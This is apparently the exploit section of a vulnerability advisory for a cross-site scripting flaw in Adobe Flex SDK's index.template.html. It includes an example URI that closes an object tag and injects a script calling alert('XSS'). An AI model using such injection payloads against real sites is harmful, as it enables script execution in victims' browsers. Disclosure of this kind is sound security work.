• info
• discussion
• exploit
• solution
• references

Adobe Flex SDK 'index.template.html' Cross Site Scripting Vulnerability

To exploit this issue, an attacker must entice a victim into following a malicious URI.

The following example URI is available:

http://www.example.com/Flex/index.template.html?"/></object><script>alert('XSS')</script>